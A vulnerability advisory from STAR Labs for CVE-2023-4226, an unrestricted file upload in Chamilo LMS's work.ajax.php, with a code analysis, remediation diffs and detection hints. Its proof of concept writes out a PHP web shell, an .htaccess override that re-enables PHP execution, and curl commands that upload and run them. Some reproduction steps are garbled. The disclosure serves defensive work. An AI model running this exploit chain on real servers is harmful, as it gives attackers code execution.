| Product | Chamilo |
|---|---|
| Vendor | Chamilo |
| Severity | High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution. |
| Affected Versions | <= v1.11.24 |
| Tested Versions | v1.11.24 (latest version as of writing) |
| CVE Identifier | CVE-2023-4226 |
| CVE Description | Unrestricted file upload in /main/inc/ajax/work.ajax.php in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files. |
| CWE Classification(s) | CWE-434: Unrestricted Upload of File with Dangerous Type |
| CAPEC Classification(s) | CAPEC-650: Upload a Web Shell to a Web Server |
Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | Low |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.
The largely-identical file upload chunking implementation used by main/inc/ajax/document.ajax.php, main/inc/ajax/dropbox.ajax.php, main/inc/ajax/exercise.ajax.php and main/inc/ajax/work.ajax.php does not impose any restrictions on the uploaded file. The uploaded file is written into SYS_ARCHIVE_PATH, which defaults to /<path-to-webroot>/app/cache. Although there is a .htaccess file present in /<path-to-webroot>/app/cache, it can be overwritten to permit execution of PHP files.
Consequently, an authenticated attacker with learner role may exploit these vulnerabilities to perform stored cross-site scripting attacks, as well as obtain remote code execution, via uploading of PHP files.
Note: This advisory details the fourth file upload vulnerability in main/inc/ajax/work.ajax.php (CVE-2023-4226). The advisories for the other 3 vulnerabilites can be found here – CVE-2023-4223, CVE-2023-4224 and CVE-2023-4225.
The vulnerable portion of /main/inc/ajax/work.ajax.php is shown below:
...
$action = isset($_REQUEST['a']) ? $_REQUEST['a'] : null;
...
switch ($action) {
...
case 'upload_file':
api_protect_course_script(true);
if (isset($_REQUEST['chunkAction']) && 'send' === $_REQUEST['chunkAction']) {
// It uploads the files in chunks
if (!empty($_FILES)) {
$tempDirectory = api_get_path(SYS_ARCHIVE_PATH); // [1]
$files = $_FILES['files'];
$fileList = [];
foreach ($files as $name => $array) {
$counter = 0;
foreach ($array as $data) {
$fileList[$counter][$name] = $data;
$counter++;
}
}
if (!empty($fileList)) {
foreach ($fileList as $n => $file) {
$tmpFile = $tempDirectory.$file['name']; // [2]
file_put_contents( // [3]
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
}
}
...
}
...
...
}
exit;
At [1], $tempDirectory is set to /<path-to-webroot/app/cache. At [2], the user-supplied filename is used in constructing the destination filepath relative to $tempDirectory.
At [3], the uploaded file is saved into the /app/cache directory of the web root using the user-supplied filename. Since /app/cache is meant to be writable by the webserver, it is possible to append to the /<path-to-webroot>/app/cache/.htaccess to enable PHP execution.
Consequently, an attacker with learner role can simply upload a PHP web shell to obtain authenticated remote code execution.
An attacker with learner role with access view a course, even if the user is not subscribed to the course, is expected to be able to execute this exploit scenario reliably.
test with Open visibility (access permitted by all users registered on the platform) is created.ch_sid session cookie. $ echo '<?php system("id"); ?>' > rce.php
$ cat << 'EOF' > .htaccess
php_flag engine on
AcceptPathInfo on
<FilesMatch ".+">
order allow,deny
allow from all
</FilesMatch>
EOF
$ curl -s -b 'ch_sid=<ch_sid_value>' 'http://<chamilo>/main/work/work.php?cidReq=TEST'
$ curl -b 'ch_sid=<ch_sid_value>' -F 'files[0][email protected]' -F 'files[1][email protected]' 'http://<chamilo>/main/inc/ajax/work.ajax.php?a=upload_file&chunkAction=send'
$ curl http://<chamilo>/app/cache/rce.php/
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id shell command is successfully executed, confirming the unrestricted file upload vulnerability.Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.
For example:
...
foreach ($fileList as $n => $file) {
- $tmpFile = $tempDirectory.$file['name'];
+ $sanitizedFileName = $disable_dangerous_file(
+ api_replace_dangerous_char($file['name'])
+ );
+ $tmpFile = $tempDirectory.$sanitizedFileName;
file_put_contents(
$tmpFile,
fopen($file['tmp_name'], 'r'),
FILE_APPEND
);
}
...
However, note that disable_dangerous_file() only prevents PHP and .htaccess files, and do not prevent uploading of HTML files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML file.
It is therefore recommended to enhance the implementation of disable_dangerous_file() in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML files.
Lastly, it is advised to add the following rules to the default .htaccess file:
# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions
Header always set X-Content-Type-Options nosniff
End users are encouraged to update to the latest version of Chamilo.
It is possible to detect the exploitation of this vulnerability by:
/main/inc/ajax/dropbox.ajax.php,/app/cache/*, and/app/cache/ directory for presence of modified .htaccess or PHP files.Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)